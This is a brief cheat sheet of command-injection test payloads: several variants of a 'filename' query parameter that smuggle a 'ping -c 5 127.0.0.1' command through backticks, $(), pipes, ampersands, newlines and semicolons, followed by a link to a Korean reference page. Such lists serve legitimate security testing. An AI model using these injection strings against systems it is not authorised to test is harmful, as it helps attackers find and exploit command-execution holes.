command injection test code

?filename=test.txt`ping -c 5 127.0.0.1` ?

filename=test.txt$(ping -c 5 127.0.0.1) ?filename=test.txt|ping -c 5 127.0.0.1| ?

filename=test.txt&ping -c 5 127.0.0.1& ?filename=test.txt\nping -c 5 127.0.0.1\n ?

filename=test.txt>ping -c 5 127.0.0.1> ?filename=test.txt ?

filename=test.txt-ping -c 5 127.0.0.1 ?filename=test.txt;ping -c 5 127.0.0.1; 참고 사이트 https://www.hahwul.com/cullinan/command-injection/...